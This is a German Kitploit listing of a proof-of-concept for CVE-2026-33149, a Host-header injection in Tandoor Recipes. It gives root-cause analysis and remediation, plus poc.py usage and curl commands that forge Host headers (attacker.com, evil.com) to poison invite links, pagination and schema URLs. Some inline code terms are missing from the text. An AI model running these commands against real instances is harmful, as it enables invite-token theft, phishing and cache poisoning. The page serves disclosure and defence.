Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33149-PoC — Proof-of-Concept-Exploit für CVE-2026-33149, eine Host-Header-Injection in Tandoor Recipes, die Invite-Link-Poisoning und Cache-Poisoning ermöglicht. Enthält Module für Host-Akzeptanz, Paginierung, Schema und Invite-Poisoning. | Kitploit
Tools/GitHubGitHub/filipegaudard/cve-2026-33149-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPhishingWebsicherheitPenetrationstests
GitHubfilipegaudard/cve-2026-33149-poc

CVE-2026-33149-PoC

Proof-of-Concept-Exploit für CVE-2026-33149, eine Host-Header-Injection in Tandoor Recipes, die Invite-Link-Poisoning und Cache-Poisoning ermöglicht. Enthält Module für Host-Akzeptanz, Paginierung, Schema und Invite-Poisoning.

Repository anzeigen
vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-33149 — Host-Header-Injection in Tandoor Recipes

CVE-2026-33149 GHSA CVSS 8.1 CWE-644

Affected Version Responsible Disclosure


Zusammenfassung

Tandoor Recipes setzt standardmäßig ALLOWED_HOSTS = '*' in settings.py, wodurch Django jeden beliebigen Wert im HTTP--Header ohne Validierung akzeptiert. Die Anwendung verwendet , um in mehreren sicherheitskritischen Kontexten absolute URLs zu erzeugen. Ein Angreifer, der Anfragen mit einem manipulierten -Header senden kann, kann alle vom Server generierten URLs auf eine vom Angreifer kontrollierte Domain umleiten.

Host
request.build_absolute_uri()
Host

Die kritischste Auswirkung ist die Vergiftung von Einladungslinks: Wenn ein Administrator eine Benutzereinladung erstellt, enthält die vom Server gesendete E-Mail einen Link, der auf die Domain des Angreifers zeigt. Das Opfer klickt auf eine legitim aussehende E-Mail, das Einladungstoken wird exfiltriert, und der Angreifer nutzt es, um den Kontobereitstellungsprozess zu übernehmen.

Details zur Schwachstelle

FeldWert
CVE-IDCVE-2026-33149
GHSAGHSA-x636-4jx6-xc4w
CWECWE-644 — Unzureichende Neutralisierung von HTTP-Headern für Skriptsyntax
CVSS v3.18.1 HOCH — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
Betroffene VersionTandoor Recipes ≤ 2.5.3
AnbieterTandoorRecipes/recipes

MITRE-ATT&CK-Zuordnung

Technik-IDNameRelevanz
T1557Adversary-in-the-MiddleManipulation servergenerierter URLs zur Umleitung von Datenverkehr
T1566.002Phishing: Spearphishing-LinkVergiftete Einladungs-E-Mail enthält einen vom Angreifer kontrollierten Link

Root-Cause-Analyse

1. Wildcard-ALLOWED_HOSTS

Datei: recipes/settings.py:118

root@kitploit:~
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*')  # default: wildcard

Djangos ALLOWED_HOSTS ist eine Sicherheitsmaßnahme, die den Host-Header gegen eine Whitelist validiert. Der Wildcard-Wert '*' deaktiviert diese Validierung vollständig und erlaubt beliebige Werte.

2. Unsichere URL-Erzeugung in Einladungs-E-Mails

Datei: cookbook/serializer.py:1852-1853

root@kitploit:~
message += _('Click the following link to activate your account: ') + self.context[
    'request'].build_absolute_uri(
    reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'

request.build_absolute_uri() erzeugt URLs mithilfe von request.get_host(), das den rohen Host-Header-Wert zurückgibt, wenn ALLOWED_HOSTS diesen nicht einschränkt. Die Einladungs-UUID — ein geheimes Token — ist in der URL eingebettet, die nun auf den Angreifer zeigt.

3. Weitere betroffene Oberflächen

  • API-Paginierung — DRF-Paginierungsklassen verwenden build_absolute_uri() für next/previous-URLs
  • OpenAPI-Schema — Der Schema-Generator verwendet es für Server-URLs
  • Cache-Vergiftung — Bereitstellungen mit Caching-Proxys riskieren, dass eine einzelne Anfrage vergiftete URLs für alle Benutzer im Cache ausliefert

Angriffsablauf

root@kitploit:~
┌──────────┐     ① Manipulierte Anfrage    ┌─────────────────┐
│ Angreifer │ ──────────────────────────────→│  Tandoor-Server │
│          │   Host: attacker.com           │  ALLOWED_HOSTS=*│
└──────────┘                                └────────┬────────┘
                                                     │
                                          ② build_absolute_uri()
                                             verwendet "attacker.com"
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │  SMTP-Server   │
                                            └────────┬───────┘
                                                     │
                                       ③ E-Mail mit vergiftetem Link:
                                       http://attacker.com/invite/<uuid>
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │    Opfer       │
                                            │  (klickt Link) │
                                            └────────┬───────┘
                                                     │
                                          ④ UUID an Angreifer gesendet
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │   Angreifer    │
                                            │ verwendet UUID │
                                            │ auf echtem     │
                                            │ Server         │
                                            └────────────────┘

Proof of Concept

Voraussetzungen

  • Python 3.8+
  • requests-Bibliothek
root@kitploit:~
pip install requests

Verwendung

root@kitploit:~
# Alle Validierungsmodule mit Basisauthentifizierung ausführen
python3 poc.py --target http://localhost:8085 \
               --basic-auth admin:password \
               --attacker evil.com \
               --module all

# Alle Module mit Session-Cookies ausführen
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module all

# Nur Vergiftung von Einladungslinks
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module invite \
               --email [email protected] \
               --group-id 1

Module

ModulBeschreibung
host-acceptVerifiziert, dass das Ziel beliebige Host-Header akzeptiert (ALLOWED_HOSTS = '*')
paginationBestätigt, dass API-Paginierungs-URLs die injizierte Domain widerspiegeln
schemaBestätigt, dass OpenAPI-Schema-Server-URLs die injizierte Domain widerspiegeln
inviteErstellt einen vergifteten Einladungslink — der primäre Angriffsvektor
allFührt alle Module nacheinander aus

Manuelle Verifizierung (curl)

1. Akzeptanz des Host-Headers

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/user/ \
  -H "Host: attacker.com" \
  -u "admin:password"
# Erwartet: 200 (verwundbar) | 400 (gepatcht)

2. Widerspiegelung der Paginierungs-URL

root@kitploit:~
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" \
  -H "Accept: application/json"
# Erwartet: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}

3. Widerspiegelung der Schema-URL

root@kitploit:~
curl -s http://TARGET:8085/api/schema/ \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# Erwartet: http://evil.com/...

4. Vergiftung des Einladungslinks

root@kitploit:~
curl -s http://TARGET:8085/api/invite-link/ \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "X-CSRFToken: CSRF" \
  -H "Host: attacker.com" \
  -d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# Opfer erhält E-Mail: "Click: http://attacker.com/invite/<uuid>"

Auswirkungen

AuswirkungsbereichBeschreibungSchweregrad
Übernahme des EinladungstokensAngreifer erfasst die Einladungs-UUID über einen vergifteten E-Mail-Link und übernimmt die KontobereitstellungKritisch
Credential-PhishingOpfer landet auf einer vom Angreifer kontrollierten Domain und erwartet eine legitime RegistrierungsseiteHoch
Cache-VergiftungBei Bereitstellungen mit Caching-Proxys kontaminiert eine einzelne vergiftete Antwort den Cache für alle BenutzerHoch
Fehlleitung von API-ClientsPaginierungs- und Schema-URLs leiten API-Konsumenten auf die Infrastruktur des Angreifers umMittel

Behebung

Sofortige Lösung

Setzen Sie ALLOWED_HOSTS so, dass Ihre gültigen Hostnamen explizit aufgelistet werden:

root@kitploit:~
# docker-compose.yml oder .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost

Defense in Depth

  1. Reverse-Proxy-Validierung — Konfigurieren Sie Nginx/Apache so, dass Anfragen mit unerwarteten Host-Headern abgelehnt werden, bevor sie Django erreichen
  2. USE_X_FORWARDED_HOST = False — Stellen Sie sicher, dass Django X-Forwarded-Host von nicht vertrauenswürdigen Quellen nicht vertraut (Standard ist False)
  3. Härtung von SMTP-Links — Verwenden Sie eine explizite SITE_URL-Konfiguration für die Erzeugung von E-Mail-Links, anstatt sich auf request.build_absolute_uri() zu verlassen

Referenzen

  • GHSA-x636-4jx6-xc4w
  • CVE-2026-33149
  • CWE-644: Unzureichende Neutralisierung von HTTP-Headern
  • Django-ALLOWED_HOSTS-Dokumentation
  • MITRE ATT&CK T1557 — Adversary-in-the-Middle
  • MITRE ATT&CK T1566.002 — Phishing: Spearphishing-Link

Haftungsausschluss

Dieser Proof of Concept wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch dieses Tools.


Autor

Filipe Gaudard — Offensive-Security-Forscher | eWPT | eWPTx

  • GitHub: @FilipeGaudard
  • LinkedIn: Filipe Gaudard
Tool herunterladen